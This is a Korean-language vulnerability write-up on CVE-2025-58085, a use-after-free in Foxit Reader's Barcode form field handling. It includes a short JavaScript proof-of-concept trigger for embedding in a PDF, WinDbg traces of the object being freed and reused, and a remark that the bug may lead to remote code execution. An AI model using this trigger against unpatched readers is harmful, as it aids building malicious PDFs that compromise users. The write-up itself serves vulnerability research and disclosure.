[하루한줄] CVE-2025-58085: Foxit Reader Barcode Calculate CPDF_FormField UAF 취약점

URL

Target

  • Foxit Reader < 2025.2.1 or 14.0.1/13.2.1+

Explain

Foxit Reader에서 Barcode 객체(CPDF_FormField)를 처리할 때 UAF 취약점이 발생했습니다.

공격자는 아래 JavaScript 코드를 포함한 PDF 문서를 통해 UAF를 트리거 할 수 있습니다.
참고로 Foxit Reader는 Google의 V8 JavaScript 엔진을 사용합니다.

function main() { 

    getField("Barcode Field0").setAction("Calculate",'delete_page();'); 
    app.activeDocs[0].addField('aaaa', "radiobutton", 1, [18,7,3,20] ) ; 
    app.activeDocs[0].getField('aaaa').checkThisBox(0,true);  
}

function delete_page() { 
    event.value = 'b'; 
    app.activeDocs[0].deletePages();

}

main 함수에서 Barcode Field0Calculate 이벤트 콜백 함수(delete_page)를 설정합니다.

이후 checkThisBox가 호출되면서 내부적으로 UpdateFormField 실행되어 Calculate 이벤트가 발생합니다. 따라서, Barcode Field0 객체(CPDF_FormField)가 free 되지만 UpdateFormField에서 Barcode Field0 객체를 다시 참조해 UAF가 트리거 됩니다.

FoxitPDFReader!safe_vsnprintf+0x337ca7:
00007ff6`b79f6ec7 b948000000      mov     ecx,48h  ;            [1]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cac:                         [2]
00007ff6`b79f6ecc e87f882c00      call    FoxitPDFReader!safe_vsnprintf+0x600530 (00007ff6`b7cbf750);
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`b79f6ed1 488985d8000000  mov     qword ptr [rbp+0D8h],rax ss:00000019`12ef8b58=0000017cfca95fb0
0:000> r
rax=0000017cdade0fb0 rbx=0000017c91a39fd0 rcx=000000007ffe0380
rdx=d0d0d0d0d0d0d0d0 rsi=0000000000400000 rdi=0000017cfca95fb0
rip=00007ff6b79f6ed1 rsp=0000001912ef8980 rbp=0000001912ef8a80
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000017cdade0fb0 r12=0000017cfca95fb0 r13=0000000000000000
r14=00007ff6bccd4ce4 r15=0000017c91a39ed0
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`b79f6ed1 488985d8000000  mov     qword ptr [rbp+0D8h],rax ss:00000019`12ef8b58=0000017cfca95fb0
0:000> dd rax                                       ;           [3]
0000017c`dade0fb0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fc0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0ff0  c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
0000017c`dade1000  ???????? ???????? ???????? ????????
0000017c`dade1010  ???????? ???????? ???????? ????????
0000017c`dade1020  ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb8:
00007ff6`b79f6ed8 4c8bbdd0000000  mov     r15,qword ptr [rbp+0D0h] ss:00000019`12ef8b50=0000017c91a39ed0
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cbf:
00007ff6`b79f6edf 4885c0          test    rax,rax
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc2:
00007ff6`b79f6ee2 7413            je      FoxitPDFReader!safe_vsnprintf+0x337cd7 (00007ff6`b79f6ef7) [br=0]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc4:
00007ff6`b79f6ee4 4c8bc7          mov     r8,rdi
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc7:
00007ff6`b79f6ee7 498bd7          mov     rdx,r15
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cca:
00007ff6`b79f6eea 488bc8          mov     rcx,rax
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337ccd:                       [4]
00007ff6`b79f6eed e88e3d0100      call    FoxitPDFReader!safe_vsnprintf+0x34ba60 (00007ff6`b7a0ac80) ;
FoxitPDFReader!safe_vsnprintf+0x337cd2:
00007ff6`b79f6ef2 4c8bf0          mov     r14,rax
0:000> dq 0000017c`dade0fb0   ;                               [5]
0000017c`dade0fb0  00000905`00000004 0000017c`91a39ed0
0000017c`dade0fc0  0000017c`fca95fb0 00000000`00000000
0000017c`dade0fd0  00000000`00000000 00000000`00000000
0000017c`dade0fe0  00000008`00000000 c0c0c0c0`00000000
0000017c`dade0ff0  00000000`00000000 d0d0d0d0`d0d0d0d0
0000017c`dade1000  ????????`???????? ????????`????????
0000017c`dade1010  ????????`???????? ????????`????????
0000017c`dade1020  ????????`???????? ????????`????????

[1]에서 Barcode Field0 객체의 크기를 설정하고 [2] 할당 함수를 통해 객체를 생성합니다.

[3]을 확인하면 현재 PageHeap이 활성화된 상태로 c0c0c0c0 값이 존재합니다.

[4] 함수가 호출되어 CPDF_FormField 객체 초기화 후 [5]에서 객체 멤버 변수를 확인할 수 있습니다.

0:000> r
rax=0000000000000001 rbx=0000017c91a39fd0 rcx=0000017cb4260000
rdx=0000017cb4260000 rsi=0000017cb0fa0fc0 rdi=0000017cdade0fb0
rip=00007ff6b79f99b1 rsp=0000001912efccc0 rbp=000000000000000c
 r8=0000000000000000  r9=0000000000000001 r10=00000000ffffffef
r11=0000001912efcbf0 r12=0000001912efcd98 r13=0000017c91a39ed0
r14=0000000000000000 r15=0000017cfca95fb0
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!safe_vsnprintf+0x33a791:
00007ff6`b79f99b1 488bcf          mov     rcx,rdi   ;      
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a794:                    [6]
00007ff6`b79f99b4 e8775e2c00      call    FoxitPDFReader!safe_vsnprintf+0x600610 (00007ff6`b7cbf830)  ;
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a799:
00007ff6`b79f99b9 49c7042400000000 mov     qword ptr [r12],0 ds:00000019`12efcd98=0000017cdade0fb0
0:000> dq 0000017cdade0fb0                         ;      
0000017c`dade0fb0  ????????`???????? ????????`????????
0000017c`dade0fc0  ????????`???????? ????????`????????
0000017c`dade0fd0  ????????`???????? ????????`????????
0000017c`dade0fe0  ????????`???????? ????????`????????
0000017c`dade0ff0  ????????`???????? ????????`????????
0000017c`dade1000  ????????`???????? ????????`????????
0000017c`dade1010  ????????`???????? ????????`????????
0000017c`dade1020  ????????`???????? ????????`????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a7a1:
00007ff6`b79f99c1 41c6859100000001 mov     byte ptr [r13+91h],1 ds:0000017c`91a39f61=01

JS 코드 중 deletePages() 실행되면서 내부적으로 [6] CPDF_InterForm::DeleteField가 호출되어 해당 페이지의 객체들을 메모리에서 free 합니다.

0:000> g
FoxitPDFReader!safe_vsnprintf+0x351e0b:       [7]
00007ff6`b7a1102b 8b01            mov     eax,dword ptr [rcx] ds:0000017c`dade0fb0=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0x351e0b:
00007ff6`b7a1102b 8b01            mov     eax,dword ptr [rcx]
00007ff6`b7a1102d 83c0fe          add     eax,0FFFFFFFEh
00007ff6`b7a11030 83f806          cmp     eax,6
00007ff6`b7a11033 0f872a060000    ja      FoxitPDFReader!safe_vsnprintf+0x352443 (00007ff6`b7a11663)
00007ff6`b7a11039 4898            cdqe
00007ff6`b7a1103b 488d0dbeef3ffe  lea     rcx,[FoxitPDFReader (00007ff6`b5e10000)]
00007ff6`b7a11042 448b8c81b016c001 mov     r9d,dword ptr [rcx+rax*4+1C016B0h]
00007ff6`b7a1104a 4c03c9          add     r9,rcx

[7]번에서 CPDF_FormField 객체를 다시 참조해 UAF가 발생합니다.

메모리 구조에 따라 Arbitrary Read/Write가 가능해 RCE까지 이어질 수 있습니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.